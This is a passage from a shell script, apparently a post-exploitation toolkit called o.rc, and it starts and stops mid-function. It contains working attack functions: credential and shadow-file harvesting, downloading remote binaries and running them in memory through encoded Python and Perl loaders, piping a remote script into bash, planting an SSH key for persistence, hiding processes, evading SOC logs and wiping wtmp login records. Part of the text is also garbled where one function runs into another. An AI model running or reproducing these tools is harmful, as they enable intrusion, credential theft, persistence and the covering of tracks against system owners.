| tmp = substr($0,RSTART,RLENGTH) 613 | if (match(tmp,/\..+\..+\./)) 614 | print tmp 615 | next } 616 | match($0,/([a-f0-9]?[a-f0-9]?[a-f0-9]?[a-f0-9]?:)+[a-f0-9]+/) { 617 | # it is a IPv6 address or an ethernet address with lower case letters 618 | tmp = substr($0,RSTART,RLENGTH) 619 | if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0) 620 | print tmp 621 | next } 622 | match($0,/([A-F0-9]?[A-F0-9]?[A-F0-9]?[A-F0-9]?:)+[A-F0-9]+/) { 623 | # it is a IPv6 address or an ethernet address with upper case letters 624 | tmp = substr($0,RSTART,RLENGTH) 625 | if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0) 626 | print tmp 627 | next }' 628 | } 629 | 630 | 631 | orc_pingBroadcast() { 632 | # Ping the Broadcast IP addresses of all interfaces. 633 | # Arguments: None 634 | # Output to stdout 635 | orc_local addr 636 | for addr in $(orc_listBroadcastAddress); do 637 | ping -c 3 -i 10 -b "$addr" 638 | done 639 | } 640 | 641 | 642 | orc_listHomes() { 643 | # List the home directories of the users. 644 | # Argument: None. 645 | # Output to stdout: One home directory per line. 646 | orc_local dir 647 | getent passwd | 648 | # filter: home directory in field 6, directory only once 649 | awk -F ':' 'hit[$6] == 0 {hit[$6]=1; print $6}' | 650 | # filter: only existing directories, no dummy entries 651 | while read -r dir; do 652 | if [ -d "$dir" ]; then 653 | echo "$dir" 654 | fi 655 | done 656 | } 657 | 658 | 659 | orc_flatFileName() { 660 | # Translate a file name with path into a simple name. 661 | # Argument: A file name with path. 662 | # Output to stdout: The name with slashes replaced by underlines. 663 | echo "$1" | tr '/' '_' 664 | } 665 | 666 | 667 | orc_testAndCopy() { 668 | # Test read access. Then copy if read access is possible. 669 | # The function copies only if a read access is possible. 670 | # The function is silent, does not write a message on copy 671 | # or on missing read access and skipping the copy. 672 | # Copies the file into the destination directory with the 673 | # 'flat name' of the source. This means the full path given 674 | # as argument is transformed into a name like '_path_name'. 675 | # (See function orc_flatFileName.) 676 | # Arguments: File to copy (could contain a path). 677 | # Destination directory (without file name). 678 | if [ $# -ne 2 ]; then 679 | echo 'Error: need two arguments: file and destination' >&2 680 | return 1 681 | fi 682 | if [ ! -d "$2" ]; then 683 | echo "Error: 2nd parameter ($2) must be a directory" >&2 684 | return 1 685 | fi 686 | if [ -r "$1" ]; then 687 | cp "$1" "$2/$(orc_flatFileName "$1")" 688 | fi 689 | } 690 | 691 | 692 | orc_collectOtherHostsInfo() { 693 | # Collect files containing info about other hosts. 694 | # Arguments: None 695 | # Output to $HOME/kh archive file 696 | # Collect output files in $OUTP 697 | orc_local dir 698 | OUTP="$HOME/files/" 699 | mkdir --mode 700 "$OUTP" 700 | echo 'collect all readable .ssh/known_hosts files' 701 | for dir in $(orc_listHomes); do 702 | orc_testAndCopy "$dir/.ssh/known_hosts" "$OUTP" 703 | done 704 | echo 'try /etc/ssh/known_hosts file' 705 | orc_testAndCopy /etc/ssh/known_hosts "$OUTP" 706 | echo 'try /etc/hosts' 707 | orc_testAndCopy /etc/hosts "$OUTP" 708 | echo 'try /etc/lmhosts' 709 | orc_testAndCopy /etc/lmhosts "$OUTP" 710 | # Stores all single files in one archive file. 711 | if orc_archive "$HOME/kh" "$OUTP"; then 712 | echo "Find the collected files in $ORC_ARCHIVE_FILE" 713 | # Remove the single files. Keep only the archive file. 714 | rm -rf "$OUTP" 715 | else 716 | echo "Error: can not archive, the files are in $OUTP" >&2 717 | fi 718 | } 719 | 720 | 721 | orc_IP4toInteger() { 722 | # Converts a IPv4 address into a number. 723 | # Argument: IPv4 address 724 | # Output to stdout: integer number 725 | orc_local str value 726 | if [ $# -ne 1 ]; then 727 | echo 'Error: IPv4 address must be given as argument' >&2 728 | return 1 729 | fi 730 | # get first number by removing the last 3 numbers 731 | value=${1%.*.*.*} 732 | if [ "$value" = '' ]; then 733 | echo 'Error: no IPv4 address given' >&2 734 | return 1 735 | fi 736 | # get the last 2 numbers by removing the first number 737 | str="${1#*.}" 738 | # the second number 739 | value=$(( (value << 8) | ${str%.*.*} )) 740 | str="${str#*.}" 741 | # the third number 742 | value=$(( (value << 8) | ${str%.*} )) 743 | str="${str#*.}" 744 | # the last number 745 | value=$(( (value << 8) | str )) 746 | echo $value 747 | } 748 | 749 | 750 | orc_integerToIP4() { 751 | # Converts a number into an IPv4 address 752 | # Argument: integer number 753 | # Output to stdout: IPv4 address in dotted format. 754 | orc_local str value 755 | if [ $# -ne 1 ]; then 756 | echo 'Error: number must given as argument' >&2 757 | return 1 758 | fi 759 | str="$(( $1 & 255 ))" 760 | value=$(( $1 >> 8 )) 761 | str="$(( value & 255 )).$str" 762 | value=$(( value >> 8 )) 763 | str="$(( value & 255 )).$str" 764 | value=$(( value >> 8 )) 765 | str="$(( value & 255 )).$str" 766 | value=$(( value >> 8 )) 767 | echo "$str" 768 | } 769 | 770 | 771 | orc_firstIP4integer() { 772 | # First IPv4 address in a LAN. 773 | # Argument: One address as integer, NOT dotted format 774 | # Netmask as integer, NOT dotted format 775 | # Output to stdout: first address in the LAN as integer 776 | if [ $# -ne 2 ]; then 777 | echo 'Error: address and netmask must be given' >&2 778 | return 1 779 | fi 780 | # +1 because all bits 0 outside the bitmask is not allowed, it 781 | # is the address of the subnet, not of a host. 782 | echo $(( ($1 & $2) | 1 )) 783 | } 784 | 785 | 786 | orc_lastIP4integer() { 787 | # Last IPv4 address in a LAN. 788 | # Argument: One address as integer, NOT dotted format 789 | # Netmask as integer, NOT dotted format 790 | # Output to stdout: last address in the LAN as integer 791 | if [ $# -ne 2 ]; then 792 | echo 'Error: address and netmask must be given' >&2 793 | return 1 794 | fi 795 | # 65535<<16|65534 = 31 bits 1 and last bit 0. Written with 796 | # numbers valid in a 32-bit signed integer and 64-bit signed 797 | # integer arithmetic. 798 | # All bits 1 outside the netmask is the broadcast address 799 | # of the subnet. 800 | echo $(( ($1 & $2) | ((65535<<16|65534) & ~$2) )) 801 | } 802 | 803 | 804 | orc_lengthToIP4netmask() { 805 | # Converts the fixed length number into the IPv4 bitmask. 806 | # Argument fixed length 807 | # Output to stdout: IPv4 bitmask 808 | orc_local value counter topbit 809 | if [ $# -ne 1 ]; then 810 | echo 'Error: fixed length size must be given' >&2 811 | return 1 812 | fi 813 | if [ "$1" -lt 1 ] || [ "$1" -gt 31 ]; then 814 | echo 'Error: length out of range' >&2 815 | return 1 816 | fi 817 | value=0 818 | counter=$1 819 | topbit=$(( 1 << 31 )) 820 | while [ "$counter" -gt 0 ]; do 821 | counter=$(( counter - 1 )) 822 | # shift current bits 1 right and set the topmost bit to 1. 823 | value=$(( (value >> 1) | topbit )) 824 | done 825 | orc_integerToIP4 $value 826 | } 827 | 828 | 829 | orc_pingIP4localnet() { 830 | # Ping all local IPv4 addresses 831 | # and protocol if host is alive. 832 | # Arguments: One IPv4 address in dotted format 833 | # The netmask in dotted format 834 | orc_local myaddr mask value lastvalue address 835 | if [ $# -ne 2 ]; then 836 | echo 'need address and netmask as arguments' >&2 837 | return 1; 838 | fi 839 | myaddr=$(orc_IP4toInteger "$1") 840 | mask=$(orc_IP4toInteger "$2") 841 | value=$(orc_firstIP4integer "$myaddr" "$mask") 842 | lastvalue=$(orc_lastIP4integer "$myaddr" "$mask") 843 | while true; do 844 | address=$(orc_integerToIP4 "$value") 845 | if ping -c1 -n "$address" > /dev/null; then 846 | echo "$address is alive" 847 | fi 848 | if [ "$value" -eq "$lastvalue" ]; then 849 | break; 850 | fi 851 | value=$(( value + 1 )) 852 | done 853 | } 854 | 855 | 856 | # ~~~ User Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 857 | # 858 | # The user functions are designed to be called by the o.rc users. 859 | # 860 | 861 | getdbus() { 862 | echo "Dbus services for system:" 863 | dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 864 | echo "Dbus services for session:" 865 | dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 866 | echo "See https://github.com/taviso/dbusmap for additional dbus auditing!" 867 | } 868 | 869 | 870 | getsec() { 871 | echo "Let's see if there are any defences." 872 | selinuxenabled >/dev/null 2>/dev/null 873 | if echo $? | grep -q 0; 874 | then echo "SELinux is enabled." 875 | fi 876 | command -V aa-status >/dev/null 2>/dev/null 877 | if echo $? | grep -q 0; 878 | then echo "AppArmor is probably installed." 879 | fi 880 | if grep -q PaX /proc/self/status; then 881 | echo "GrSec and PaX live here." 882 | fi 883 | } 884 | 885 | 886 | # getsfiles is called without argument in the function, that is ok. 887 | # shellcheck disable=SC2119,SC2120 888 | getsfiles () { 889 | # Lists files with setuid and setcap. 890 | # Optional argument background 891 | # runs the search in the background and write the filelist 892 | # to $HOME/sfiles 893 | if [ $# -eq 1 ] && [ "$1" = 'background' ]; then 894 | echo "run in $1, find results in $HOME/sfiles" 895 | getsfiles > "$HOME/sfiles" & 896 | else 897 | if [ $# -ne 0 ]; then 898 | echo 'Error: call must getsfile [background]' >&2 899 | return 1 900 | fi 901 | if orc_existsProg find; then 902 | # List setuid flagged files 903 | echo 'setuid flagged files list; attribute user name' 904 | find / -perm /4000 \ 905 | -exec stat -c '%a %A %U %N' -- \{\} \; \ 906 | 2> /dev/null 907 | echo '' 908 | else 909 | echo 'Error: missing find, need to implement other search' >&2 910 | fi 911 | if orc_existsProg getcap; then 912 | echo 'files with capabilities; name = caps' 913 | getcap -r / 2>/dev/null 914 | else 915 | echo 'Error: missing getcap' >&2 916 | fi 917 | fi 918 | } 919 | 920 | 921 | getinfo() { 922 | echo "Gathering useful command output." 923 | # Collect output files in $OUTP 924 | OUTP=$HOME/files/ 925 | mkdir --mode 700 "$OUTP" 926 | orc_log2outp passwd getent passwd 927 | orc_log2outp uname uname -a 928 | orc_log2outp ps ps -weFH 929 | orc_log2outp w w 930 | orc_log2outp last last -i 931 | orc_log2outp uptime uptime 932 | orc_log2outp id id 933 | orc_log2outp date date 934 | orc_log2outp cpuinfo cat /proc/cpuinfo 935 | orc_log2outp free free -g 936 | orc_log2outp route route -n 937 | orc_log2outp hosts cat /etc/hosts 938 | orc_log2outp resolve cat /etc/resolv.conf 939 | orc_log2outp rpcinfo rpcinfo 940 | orc_log2outp lsmod lsmod 941 | orc_log2outp lsusb lsusb 942 | orc_log2outp mount mount 943 | orc_log2outp df df 944 | orc_log2outp user_crontab crontab -l 945 | if orc_existsProg ifconfig; then 946 | orc_log2outp ifconfig ifconfig -a 947 | else 948 | orc_log2outp ifconfig ip link 949 | fi 950 | orc_log2outp netstat netstat -peanut 951 | # The condition should work with POSIX sh and bash. 952 | # Variable EUID is defined in the bash. 953 | # Check EUID of /root works in dash (and in bash). 954 | # shellcheck disable=SC2039,SC2169 955 | if [ "$EUID" = "0" ] || [ -O "/root" ]; then 956 | orc_log2outp shadow getent shadow 957 | orc_log2outp ssh_keys find /home/ -name id_rsa 958 | orc_log2outp sudoers cat /etc/sudoers 959 | orc_log2outp crontab cat /etc/crontab 960 | orc_log2outp iptables iptables -L 961 | orc_log2outp secure cat /var/log/secure 962 | orc_log2outp roothist cat /root/.bash_history 963 | orc_log2outp sshd_config cat /etc/ssh/sshd_config 964 | orc_log2outp root_dir ls -al /root/ 965 | #inelegant hack 966 | orc_log2outp netstat netstat -peanut 967 | if orc_existsProg getsebool; then 968 | orc_log2outp sellinux getenforce 969 | orc_log2outp sellinux getsebool -a 970 | orc_log2outp sellinux sestatus 971 | fi 972 | fi 973 | # Stores all single log files in one archive file. 974 | if orc_archive "$HOME/f" "$OUTP"; then 975 | echo "Find the output files in $ORC_ARCHIVE_FILE" 976 | # Remove the single log files. Keep only the archive file. 977 | rm -rf "$OUTP" 978 | else 979 | echo "Error: can not archive, the files are in $OUTP" >&2 980 | fi 981 | } 982 | 983 | 984 | timedshell() { 985 | echo "scheduling a reverse shell to launch later..." 986 | } 987 | 988 | 989 | getusers() { 990 | echo "Listing valid users with shells." 991 | orc_listUsers 992 | } 993 | 994 | 995 | getuservices() { 996 | echo "Listing all running services with non-user accounts in passwd." 997 | { orc_listUsers; ps --no-header -weFH; } | 998 | awk 'NF==1 {users[$1]=1} 999 | NF>1 && !($1 in users) {print}' 1000 | } 1001 | 1002 | getluks() { 1003 | if orc_existsProg lsblk; then 1004 | if lsblk -al | awk '{print $6}' | grep -q 'crypt'; then 1005 | echo "Encrypted partition detected. Run lsblk to see more." 1006 | fi 1007 | elif orc_existsProg dmesg; then 1008 | if dmesg -T | grep -i Boot_image | grep -qi 'rd.luks.uuid'; then 1009 | echo "Encrypted partition detected. No lsblk found. Investigate manual." 1010 | fi 1011 | fi 1012 | } 1013 | 1014 | getspec() { 1015 | printf "RAM available: " 1016 | free -hm | tr '\n' ' ' | awk '{ print $8 }' 1017 | printf "CPU model:" 1018 | grep $orc_colorNever name /proc/cpuinfo | head -n 1 | awk -F ":" '{print $2}' 1019 | printf "Number of cores: " 1020 | grep $orc_colorNever -c processor /proc/cpuinfo 1021 | printf "Disk usage:" 1022 | df -h 1023 | } 1024 | 1025 | 1026 | getidle() { 1027 | # List all ptys and their idle times accurately. 1028 | # Arguments : none 1029 | # Globals : our_pty could contain the number of our PTY 1030 | export our_pty 1031 | our_pty=$(orc_ourPts) 1032 | # using stat and the shell glob, so no quotes 1033 | stat /dev/pts/* -c '%n %X %U' | 1034 | awk -v now="$(date +%s)" '$1 ~ /\/[0-9]+$/ { 1035 | gsub( /[^0-9]/, "", $1 ) 1036 | list[$1]="PTY " $1 " is " now-$2 " seconds idle and owned by " $3 1037 | if( $1==ENVIRON["our_pty"] ) list[$1]=list[$1] " ** this is us **"} 1038 | END {for(i in list) print list[i]}' 1039 | # reminder: do not use gawk functions, e.g. systime 1040 | } 1041 | 1042 | 1043 | getsctp() { 1044 | # Print info about sctp connection support on the box. 1045 | # Arguments : none 1046 | # Output : prints info to stdout 1047 | # 1) Try to load the sctp kernel module 1048 | # The load could fail if the user can not load kernel modules 1049 | # or the module does not exists. 1050 | modprobe sctp > /dev/null 2>&1 1051 | # 2) Info about the stp kernel info 1052 | if modinfo sctp > /dev/null 2>&1; then 1053 | if grep -qi '^sctp ' /proc/modules; then 1054 | echo 'SCTP kernel module loaded' 1055 | else 1056 | echo 'SCTP kernel module exists but is not loaded' 1057 | fi 1058 | fi 1059 | # 3) Info about sctp command line tools. 1060 | # sctp support but not installed checksctp tool is possible. 1061 | if orc_existsProg checksctp; then 1062 | if checksctp 2>&1 | grep -qi 'SCTP supported'; then 1063 | if orc_existsProg withsctp; then 1064 | echo 'SCTP enabled and withsctp callable' 1065 | else 1066 | echo 'SCTP enabled but withsctp is not callable' 1067 | fi 1068 | fi 1069 | fi 1070 | # 4) Info about listening and non-listening sockets. 1071 | if orc_existsProg ss; then 1072 | if [ "$(ss --all --sctp 2> /dev/null | wc -l)" -gt 1 ]; then 1073 | echo 'TCP sockets in use' 1074 | fi 1075 | elif orc_existsProg netstat; then 1076 | if netstat -a --sctp 2> /dev/null | grep -qi '^sctp' ; then 1077 | echo 'SCTP sockets in use' 1078 | fi 1079 | fi 1080 | } 1081 | 1082 | 1083 | srm() { 1084 | # secure shredding of files 1085 | # Argument: file(s) to overwrite and to remove. 1086 | # Overwriting data through the file system does not work on all 1087 | # systems. On modern file systems like ext4, XFS often the data 1088 | # will be not secure destroyed. 1089 | if [ $# -lt 1 ]; then 1090 | echo 'Error: srm needs a file name(s) as argument' >&2 1091 | return 1 1092 | fi 1093 | if orc_existsProg shred; then 1094 | # set writeable, overwrite, zero overwrite, delete 1095 | # and suppress standard output 1096 | shred -zfun 2 "$@" > /dev/null 1097 | elif orc_existsProg wipe; then 1098 | wipe -fcs "$@" 1099 | else 1100 | for file do 1101 | if [ -f "$file" ]; then 1102 | # try to set writeable 1103 | chmod u+w -- "$file" 1104 | # overwrite file content 1105 | dd if=/dev/urandom of="$file" bs="$(stat -c %B -- "$file")" count="$(stat -c %b -- "$file")" status=none 1106 | dd if=/dev/zero of="$file" bs="$(stat -c %B -- "$file")" count="$(stat -c %b -- "$file")" status=none 1107 | # "--force" is not used because the long format is not accepted 1108 | # by all shells, e.g. busybox shell. 1109 | rm -f -- "$file" 1110 | else 1111 | echo "Error: '$file' is no regular file" >&2 1112 | fi 1113 | done 1114 | fi 1115 | } 1116 | 1117 | 1118 | qssh() { 1119 | # ssh without a tty - qssh [password] [normal arguments] 1120 | # Arguments: password 1121 | # arguments feed through to the ssh 1122 | # Method: Creates a shell script file which echoes the password. 1123 | if [ $# -lt 2 ]; then 1124 | echo 'Error: qssh needs at least password and command as arguments' >&2 1125 | return 1 1126 | fi 1127 | if tty | grep -q 'not'; then 1128 | orc_createEchoFile "$1" 1129 | shift 1130 | # shellcheck disable=SC2029 1131 | DISPLAY="" SSH_ASKPASS="$ORC_ECHO_FILE" ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T "$@" 1132 | else 1133 | echo 'Error: You have got a tty. You can not use qssh' >&2 1134 | fi 1135 | } 1136 | 1137 | qsu() { 1138 | # sudo without a tty - qsu [password] [normal arguments] 1139 | # Arguments: password 1140 | # arguments feed through to the sudo 1141 | # Method: Creates a shell script file which echoes the password. 1142 | if [ $# -lt 2 ]; then 1143 | echo 'Error: qsu needs at least password and command as arguments' >&2 1144 | return 1 1145 | fi 1146 | orc_createEchoFile "$1" 1147 | shift 1148 | SUDO_ASKPASS="$ORC_ECHO_FILE" sudo -A "$@" 1149 | rm -f "$ORC_ECHO_FILE" 1150 | } 1151 | 1152 | 1153 | memexec() { 1154 | # Execute a binary program or a script file in-memory from web-server. 1155 | # Stores the downloaded file in an anonymous file in the 1156 | # /proc/self process memory. 1157 | # If this is not possible the file is stored in the $HOME 1158 | # directory of orc, which is typical a tmpfs. 1159 | # Argument: URL of the binary, http or https is supported. 1160 | # other arguments are passed through to the program/script 1161 | # Global: http_proxy and https_proxy variables could be used 1162 | # to defined a proxy for the download. 1163 | orc_local url interpreter 1164 | if [ $# -lt 1 ]; then 1165 | echo 'Error: memexec needs URL as argument' >&2 1166 | return 1 1167 | fi 1168 | # first argument is the URL to load 1169 | url="$1" 1170 | shift 1171 | if ! orc_existsProg base64; then 1172 | echo 'Warning: need base64, go into fallback mode' >&2 1173 | interpreter='fallback' 1174 | elif ! orc_existsProg gzip; then 1175 | echo 'Warning: need gzip, go inti fallback mode' >&2 1176 | interpreter='fallback' 1177 | elif ! orc_isMinimalOsVersion Linux 3 17; then 1178 | echo 'Warning: need Linux >= 3.17, go in fallback mode' >&2 1179 | interpreter='fallback' 1180 | elif orc_existsProg python3; then 1181 | interpreter='python3' 1182 | elif orc_existsProg python2; then 1183 | interpreter='python2' 1184 | elif orc_existsProg python; then 1185 | # Python version 2 interpreter is often named simply "python" 1186 | interpreter='python' 1187 | elif orc_existsProg perl; then 1188 | interpreter='perl' 1189 | else 1190 | echo 'Warinng: need perl or python, go in fallback mode' >&2 1191 | interpreter='fallback' 1192 | fi 1193 | orc_exportProxySettings 1194 | if [ "$interpreter" = 'fallback' ]; then 1195 | # Can not load the program/script into anonymous file. 1196 | # As fallback load the file into the orc $HOME, this 1197 | # should be a tmpfs. 1198 | orc_loadURL "$url" > "$HOME/.mem" 1199 | chmod +x "$HOME/.mem" 1200 | "$HOME/.mem" "$@" 1201 | rm -f "$HOME/.mem" 1202 | elif [ "$interpreter" = 'perl' ]; then 1203 | # decode the Perl script and run the script 1204 | ( base64 -d | 1205 | gzip -d | 1206 | perl - "$url" '-' "$@" 1207 | ) << ====end 1208 | H4sIANs4vlwAA41TS4/aMBC+51cMKVKCFMRzIwrNqlUPvXBYLX0ckdeZgNXEztrOAgL62+tHttvV 1209 | qtCDI3nme2UygaBRCMsfd/P5ilV1ifC4i7sNgQ1qe5QWEnsLh/oseME2i6A6QFcdFCVlySVk0B8t 1210 | AlbEXd8/Ekm3nFR4huwXDPazdJ1O+yXjzX7Qg2MAr8mT0Xs4B1iqfyqwySy9wL9Jr/HJJf/RZDq8 1211 | IhATWZ3MwYcTsZ102ruQZ3ZzRa4WO5RxTU81TafuUeIlwfRqPlWbwsk9L2ebzrwUul7OEMKvW6bA 1212 | 6jGNVDcSwdy50KCauhZSY564dha9MY9Co2Z2pX+rVLkWtVbxE0pWHNZbobSFQHYLwwRWq+W67VQi 1213 | 99We36NGliaY2rJCg5A+UsWUYnxjbDdNhVwnoLcI3+6XoefUUmz+g2RhklRgg7RMnwnC9lrkVsYP 1214 | KH6ZVOKBCYx6frEtzq5572VslPBIA5VINALhgkPBSkPpduxQrLgrGq+ByUEH3e6gyAdGqbWmbg5/ 1215 | /rDYTSJpWa2tw3QyGA+Hb5xLQXJnCYUUFSiUZsAJKE10o8AyM8e3aUSNHNz7bhOIPswl2UWtVTsW 1216 | +XDQqEwe8z65x9m6qyYw9nGeUTbR6zxuXxzVJVJsw4lbJUewEWgpzNIZYScVvetEgI/Q8JrQnxCR 1217 | sc3jwF7YfAqNFRxD5E/hGaJ+/zlwAh8/3X/5/vca4x4pHF337JejBQXn4DckTWOa3wQAAA== 1218 | ====end 1219 | else 1220 | # else must be: "$interpeter" = 'pythonX' 1221 | # decode the Python script and run the script 1222 | # The Python scrips runs with Python version 3 and 2 1223 | ( base64 -d | 1224 | gzip -d | 1225 | PYTHONHTTPSVERIFY=0 "$interpreter" - "$url" '-' "$@" 1226 | ) << ====end 1227 | H4sIAEhQv1wAA31Uy27bMBC8+yu2yUESaih27LiuUffS5lAg6KHozQgCWlrJbCRSJanYRtF/75LU 1228 | My7Cg2UO9zG7syQvK6kMJOZcoZ5wv5Pdv6pgJpOqbPf6rCdGnTcToJUpWUKtioLvY4W/a9QGGjtC 1229 | ZYVigqcEKwPfHHqvlFQXrrevfSjHU8KK4knU5R6Vhi38cU7Bab16Wi2DDSzmH6ce4ov1ygJ3qxZg 1230 | zmK+WM4ahKnSWqzv+j3uxwhTycEH7rBKHlFVicVWszHmLS/RAke4riisRZbrIeK9l+vJ376TPOs6 1231 | HVP5BsswgndbCB64qE+BN7JLMa4RftTC8BJdP8NA15XtnwYpijM4jynsawOZrEUKAby/DB5dpC1Z 1232 | cuACKa+QJKOA1zLEz3jWYfQ2l1SidgEaUmA7yw0mplY4ptIl9Fz6dIoEf518d+n22JZQoAjJPmYq 1233 | f4ngEyzeplhyrbnIiVlelyiM3tjJA0atqpTMFStBsBKhrGmc9wg5f0EReJLW0JFzyXZzz8GZD+Bb 1234 | D3cJhmeLjT/MUkL9rYu/fH14CL9LgZHVx5YdDroxhSCYwrxTzHpuYf52kQkTToZEITNIxUlxLmWt 1235 | IeM0pT6WBYlEcENlJzdWG21UKHWco6l4SsIQFNxkaXeWpY1WPBfMKboFy9uBR24OYC9waAMT6+M+ 1236 | iIDRWNZmQLZ5J7btdQ/pG3XHxwPxg5+qxt7Frn2dZWgHo/Gn94al4Xy2XN99WEUjU2qRrdx7jKO4 1237 | SOT5/D+Hvig7CnaofIgIPg+73a5hD7zhbrZplG8XVR4fFY1/G6rVcJyr2+1mj/bmhVKlYXAdRNTE 1238 | a9vDkc18YPPO2dBvz4/0ay6505cUhCurX3BF3/iX5KRPO5hO4KtmHLDQOAqDJ0xeGjF3dsan8EgO 1239 | vXf7ut+7D6dspDb2j3yluDChA7o7TlG5CWma/wHwSxYceQYAAA== 1240 | ====end 1241 | fi; 1242 | } 1243 | 1244 | 1245 | getpty() { 1246 | SHELL=$(command -v sh) 1247 | #echo "$backup" > "$ENV" 1248 | if [ -r "$ENV" ]; then 1249 | ENV="$ENV" script -c sh /dev/null 1250 | else 1251 | echo 'Error: ENV not defined. Can not start script' >&2 1252 | fi 1253 | } 1254 | 1255 | getsuspect() { 1256 | # Pulls my suspect tool from github. 1257 | # ask and ye shall receive 1258 | # this janky, awful shortcut 1259 | if ! orc_existsProg bash; then 1260 | echo 'Error: bash needed but not found' >&2 1261 | return 1 1262 | fi 1263 | orc_httpsProxyReminder raw.githubusercontent.com 1264 | orc_loadURL 'https://raw.githubusercontent.com/zMarch/suspect/master/suspect.sh' | bash 1265 | } 1266 | 1267 | keyinstall() { 1268 | touch "$HOME/.ssh" 1269 | touch -r / 1270 | sshkey="ssh-rsa [YOUR KEY HERE] $(whoami)@$(hostname)" 1271 | echo "$sshkey" >> "$NHOME/.ssh/authorized_keys" 1272 | } 1273 | 1274 | psgrep() { 1275 | # process grep 1276 | # Argument: search pattern. 1277 | if [ $# -ne 1 ]; then 1278 | echo 'Error: psgrep needs grep pattern as argument' 1279 | return 1 1280 | fi 1281 | # don't list this process running the grep 1282 | # TODO: make a more specific grep with pgrep. 1283 | # The simple grep searchs in all parts of the ps output. 1284 | # shellcheck disable=2009 1285 | ps -weFH | grep $orc_colorNever "$1" | grep $orc_colorNever -v 'grep' 1286 | } 1287 | 1288 | getescape() { 1289 | ps --no-header aux | awk -F" " '{print $1" "$2}' | grep "^$(id -u)"i | awk '{print $2}' | tr ' ' '\n' | while read -r i; do 1290 | if stat -c '%i' "/proc/$i/root/" | grep -qe "^2"; then 1291 | echo "process $i seems to be outside the jail..." 1292 | fi 1293 | done 1294 | } 1295 | 1296 | getjail() { 1297 | TTT=0 1298 | echo "Checking to see if we're in one giant simulation..." 1299 | if stat -c '%i' '/' | grep -vqe "^2"; then 1300 | TTT=1 1301 | echo "We're in a chroot." 1302 | fi 1303 | if grep -qi 'hypervisor' /proc/cpuinfo; then 1304 | echo "Virtual machine!" 1305 | TTT=1 1306 | fi 1307 | if dmesg | grep -qi 'hypervisor'; then 1308 | echo "Virtual machine!" 1309 | TTT=1 1310 | fi 1311 | if dmesg | grep -qi 'vboxvideo'; then 1312 | echo "Virtual machine! (Virtualbox)" 1313 | TTT=1 1314 | fi 1315 | if echo $TTT | grep -vq '1'; then 1316 | echo "Bare metal!" 1317 | fi 1318 | } 1319 | 1320 | portscan() { 1321 | # Run a portscan against common ports 1322 | # List ports which allow TCP connections. 1323 | # Argument: Name or IP of the target box. 1324 | if [ $# -ne 1 ]; then 1325 | echo 'Error: portscan needs one host name or host address' >&2 1326 | return 1 1327 | fi 1328 | echo "Starting portscan of $1 ..." 1329 | for port in 21 22 23 80 443 8080 8443 129 445 3389 3306 1330 | do 1331 | if orc_tryTcpConnection "$1" "$port"; then 1332 | echo "Host $1 TCP port $port open" 1333 | fi 1334 | done 1335 | } 1336 | 1337 | fpssh() { 1338 | # pull ssh remote host public fingerprints 1339 | # Argument: host name, arguments passed through to ssh-keyscan 1340 | if [ $# -lt 1 ]; then 1341 | echo 'Error: fpssh needs host name as argument' >&2 1342 | return 1 1343 | fi 1344 | if ! orc_existsProg ssh-keyscan; then 1345 | echo 'Error: no ssh-keyscan program, can not get public keys' >&2 1346 | return 1 1347 | fi 1348 | ssh-keyscan "$@" 1349 | } 1350 | 1351 | getip() { 1352 | #we use akamai and google here because they're gonna look less dodgy in SOC's logs 1353 | echo 'Attempting to get IP...' 1354 | printf 'HTTP says: ' 1355 | orc_loadURL 'https://whatismyip.akamai.com' 1356 | echo '' 1357 | printf 'DNS says: ' 1358 | if orc_existsProg dig; then 1359 | dig +time=3 +tries=1 TXT +short o-o.myaddr.l.google.com @ns1.google.com | tr -d \" 1360 | echo '(used dig)' 1361 | else 1362 | host -W 3 -t txt o-o.myaddr.l.google.com ns1.google.com | grep $orc_colorNever descriptive | awk -F ' ' '{print $4}' | tr -d '"' | tr -d "\n" 1363 | echo '(used host)' 1364 | fi 1365 | } 1366 | 1367 | 1368 | getgtfobins() { 1369 | # Pulls down the list of current gtfobins and checks to see 1370 | # which are installed in your $PATH 1371 | # The HTML source of the GTFOBins page is generated. So the structure of the 1372 | # file is very constant. Here a simple regex pattern is implemented to grep 1373 | # the program names. 1374 | orc_loadURL 'https://gtfobins.github.io/' | 1375 | awk '// {split($0,a,"/"); print a[3]}' | 1376 | ( 1377 | orc_local cmd_name find_args find_result 1378 | orc_local n_total n_direct n_outside n_notfound 1379 | n_total=0 1380 | n_direct=0 1381 | n_outside=0 1382 | n_notfound=0 1383 | while read -r cmd_name; do 1384 | n_total=$(( n_total + 1 )) 1385 | if orc_existsProg "$cmd_name"; then 1386 | echo "$cmd_name" 1387 | n_direct=$(( n_direct + 1 )) 1388 | else 1389 | n_notfound=$(( n_notfound + 1 )) 1390 | if [ "$n_notfound" -eq 1 ]; then 1391 | find_args="( -name $cmd_name" 1392 | else 1393 | find_args="$find_args -or -name $cmd_name" 1394 | fi 1395 | fi 1396 | done 1397 | if [ "$n_notfound" -gt 0 ] && orc_existsProg find; then 1398 | find_args="$find_args )" 1399 | # The find_args are not quoted because it must be splitted. 1400 | # Counting with a pipe into a while read loop is complicated. 1401 | # shellcheck disable=SC2044,SC2086 1402 | for find_result in $(find / -executable -type f $find_args 2> /dev/null); do 1403 | echo "$find_result" 1404 | n_outside=$(( n_outside + 1 )) 1405 | done 1406 | fi 1407 | echo "GTFOBins: $n_total commands in web page" 1408 | echo "GTFOBins: found $n_direct in PATH and $n_outside outside PATH" 1409 | ) 1410 | } 1411 | 1412 | 1413 | prochide() { 1414 | # Execute a program hidden by a long program name. 1415 | # Arguments: program to execute with optional arguments. 1416 | # Method : use the longest command line of the current running 1417 | # processes as name of the program to start. 1418 | LONGARG=$(ps --no-header -wweo cmd | awk 'length(X)> $HOME/ips )& 1439 | done 1440 | } 1441 | 1442 | 1443 | wiper() { 1444 | # Removes entries from wtmp 1445 | # Needs write access to the wtmp file. Typical only root 1446 | # has write access to the login/logout record file. 1447 | # Argument: grep pattern to remove 1448 | if [ $# -ne 1 ]; then 1449 | echo 'Error: wiper needs grep pattern as 